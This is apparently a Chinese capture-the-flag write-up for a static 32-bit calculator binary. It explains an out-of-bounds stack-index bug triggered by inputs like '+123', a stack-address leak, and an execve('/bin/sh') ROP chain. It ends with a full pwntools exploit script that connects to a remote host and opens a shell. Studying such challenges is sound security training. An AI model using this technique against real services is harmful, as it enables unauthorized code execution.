首先,检查一下程序的保护机制
然后,我们用IDA分析一下,发现libc被静态编译进了程序中,又由于**[没有开启PIE,,所以,我们就直接可以获得需要的函数的地址]{.mark}。然而,我们发现,system、execve这些函数都没有,有没有one_gadget,那么我们只能 [通过系统调用来构造ROP执行/bin/sh来getshell]{.mark}**
发现,该程序是一个四则运算表达式计算程序
其中,我们需要重点关注的就是a2[v4+1] = v9这句代码,可能造成下标越界。
我们仔细分析程序,然后用C语言还原这个计算过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #include <stdio.h> #include <string.h> #include <stdlib.h> struct Stack { int top; int data[100 ]; }; void eval (Stack *num_stack,char op) { switch (op) { case '+' : num_stack->data[num_stack->top - 1 ] += num_stack->data[num_stack->top]; break ; case '-' : num_stack->data[num_stack->top - 1 ] -= num_stack->data[num_stack->top]; break ; case '*' : num_stack->data[num_stack->top - 1 ] *= num_stack->data[num_stack->top]; break ; case '/' : num_stack->data[num_stack->top - 1 ] /= num_stack->data[num_stack->top]; break ; } num_stack->top--; } int parse_expr (char *in,Stack *num_stack) { Stack op_stack; memset (&op_stack,0 ,sizeof (Stack)); char *p = in; for (int i=0 ;; ++i) { char ch = in[i]; if ( unsigned (ch - '0' ) > 9 ) { int len = i + in - p; char *tmp = (char *)malloc (len+1 ); memcpy (tmp,p,len); tmp[len] = '\0' ; if ( !strcmp (tmp, "0" ) ) { puts ("prevent division by zero" ); fflush(stdout ); return 0 ; } int x = atoi(tmp); if (x > 0 ) { num_stack->top++; num_stack->data[num_stack->top] = x; } if (ch && in[i+1 ] - '0' > 9 ) { puts ("expression error!" ); fflush(stdout ); return 0 ; } p = in + i + 1 ; char op = op_stack.data[op_stack.top]; if (op) { switch (ch) { case '%' : case '*' : case '/' : if ( op != '+' && op != '-' ) { eval(num_stack, op); op_stack.data[op_stack.top] = ch; } else { op_stack.data[++op_stack.top] = ch; } break ; case '+' : case '-' : eval(num_stack, op); op_stack.data[op_stack.top] = ch; break ; default : eval(num_stack, op_stack.data[op_stack.top--]); break ; } } else { op_stack.data[op_stack.top] = ch; } if (!ch) { break ; } } } while (op_stack.top >= 0 ) { eval(num_stack, op_stack.data[op_stack.top--]); } return 1 ; } int main () { Stack num_stack; num_stack.top = -1 ; memset (num_stack.data,0 ,sizeof (int ) * 100 ); char expr[0x400 ] = {0 }; while (true ) { scanf ("%s" ,expr); if (parse_expr(expr,&num_stack)) { printf ("%d\n" ,num_stack.data[num_stack.top]); fflush(stdout ); } } }
再对比IDA,中,[我们要是能修改到a2,也就是top指针,那么就能实现任意地址写]{.mark}
再看看这个程序的逻辑,结合我们还原的源代码,[能够修改到top的值的关键地方在eval函数]{.mark}
结合源代码,我们看看
如果当**[num_stack->top为0时,就可以造成data数据下标越界]{.mark},什么时候num_stack->top为0呢?不就是num_stack里只有一个操作数的时候吗。如果,我们输入的表达式为+123,那么,由于该程序判断时的缺陷,表达式的结尾的0也被当做符号处理,因此,程序先是遇到+号,+号入运算符栈,然后程序遇到123,入num_stack,接下来,程序遇到0结尾符,于是会调用eval函数,而此时num_stack->top = 0,导致了num_stack->data[-1] += num_stack[num_stack->top],使得num_stack的top变成了123 + 1 = 124,接下来,结尾处又执行了 ,综上, [+123这个表达式使得num_stack的top变成了123]{.mark}**。为了便于观察,我们可以加入这样的代码
然后,我们输入+123+456
由此,我们可以用IDA调试,[找到calc函数的返回地址的栈位置,便可以修改calc的返回地址,构造ROP链]{.mark} 。为了构造ROP,我们需要一些gadget,我们可以使用ROPgadgets工具来查找ROPgadget –binary calc2 –only ‘pop|ret’ | grep ‘eax’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pop_eax = 0x0805c34b pop_ebx = 0x080481d1 pop_ecx = 0x080701d1 pop_edx = 0x080701aa int_80 = 0x08049a21 rop = [pop_eax,0x0b , pop_ecx,0 ,0 , pop_edx,0 , int_80, u32('/bin' ), u32('/sh\x00' )]
为了得到/bin/sh字符串的地址,我们把/bin/sh到时候存到栈里,然后,我们需要泄露一些栈地址,就能得到/bin/sh字符串地址
我们可以借助输出结果的地方来泄露地址
其中,[v1正是num_stack的栈顶指针,v2是num_stack的数据区]{.mark}
之前我们知道了,+123,可以使得num_stack的栈顶指针变为123,那么就能泄露偏移123*4字节处的数据,那么要泄露栈地址,我们只需算出main的ebp的偏移,即可泄露
我们看到,当前存放main的ebp的栈地址为0xFFFEA1C8
而v2的地址为0xFFFE9C2C,计算一下**[(0xFFFEA1C8 - 0xFFFE9C2C) / 4 = 0x167]{.mark}**
也就是359,因此,我们**[只需要输入+360再回车,即可泄露出main函数的ebp]{.mark},然后,就能计算出/bin/sh字符串在栈里的地址,需要注意的是, [泄露出来的数据是负数,因为%d处理的是有符号数,因此,我们只需用0x100000000 + x即可得到原来的数据]{.mark}**
1 2 3 4 5 6 7 8 9 sh.recvuntil('\n' ) sh.sendline('+360' ) main_ebp = int (sh.recvuntil('\n' ,drop=True )) main_ebp = 0x100000000 + main_ebp rop[4 ] = main_ebp - 0x20 + 9 * 4 print hex (main_ebp)
现在,我们得到了地址,然后就构造好了ROP链,我们需要依次把ROP链写入到calc的返回地址的栈后面
经过一顿测试,发现,[我们不能靠这里来写ROP,因为后续用调用了eval函数,对数据又做了修改吗,因此,我们应该依靠eval函数]{.mark} ,因为eval函数里对a1数组做了最后的修改。
eval函数
由于是**[a1[top-1] += a1[top]]{.mark}**,因此,本来,我们走360开始就是calc函数的返回地址处,我们向后偏移1,也就是从361开始,这样,不会影响前面的canary值。并且,由于使用的是+=,我们需要先泄露原来a1[top]处的数据,再算出差值,然后提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 for i in range (0 ,len (rop)): payload = '+' + str (361 + i) sh.sendline(payload) num = int (sh.recvuntil('\n' ,drop=True )) offset = rop[i] - num print hex (rop[i]) if offset<0 : payload_ = payload + str (offset) else : payload_ = payload + '+' + str (offset) sh.sendline(payload_) value = int (sh.recv(1024 )) if value < 0 : value += 0x100000000 while value!=rop[i]: print "current value is %x" % (value) offset = rop[i] - value if offset<0 : sh.sendline(payload + str (offset)) else : sh.sendline(payload + '+' + str (offset)) value = int (sh.recv(1024 )) if value < 0 : value += 0x100000000
这样操作以后,ROP写入成功,接下来,我们发送一个非数字和运算符,使得程序退出calc函数,执行ROP链。
本题的难点在于找到漏洞,以及分析漏洞,需要一定的时间。
综上,我们的exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import * pop_eax = 0x0805c34b pop_ebx = 0x080481d1 pop_ecx = 0x080701d1 pop_edx = 0x080701aa int_80 = 0x08049a21 rop = [pop_eax,0x0b , pop_ecx,0 ,0 , pop_edx,0 , int_80, u32('/bin' ), u32('/sh\x00' )] sh = remote('111.198.29.45' ,39005 ) sh.recvuntil('\n' ) sh.sendline('+360' ) main_ebp = int (sh.recvuntil('\n' ,drop=True )) main_ebp = 0x100000000 + main_ebp rop[4 ] = main_ebp - 0x20 + 9 * 4 print hex (main_ebp) for i in range (0 ,len (rop)): payload = '+' + str (361 + i) sh.sendline(payload) num = int (sh.recvuntil('\n' ,drop=True )) offset = rop[i] - num print hex (rop[i]) if offset<0 : payload_ = payload + str (offset) else : payload_ = payload + '+' + str (offset) sh.sendline(payload_) value = int (sh.recv(1024 )) if value < 0 : value += 0x100000000 while value!=rop[i]: print "current value is %x" % (value) offset = rop[i] - value if offset<0 : sh.sendline(payload + str (offset)) else : sh.sendline(payload + '+' + str (offset)) value = int (sh.recv(1024 )) if value < 0 : value += 0x100000000 sh.sendline('a' ) sh.interactive()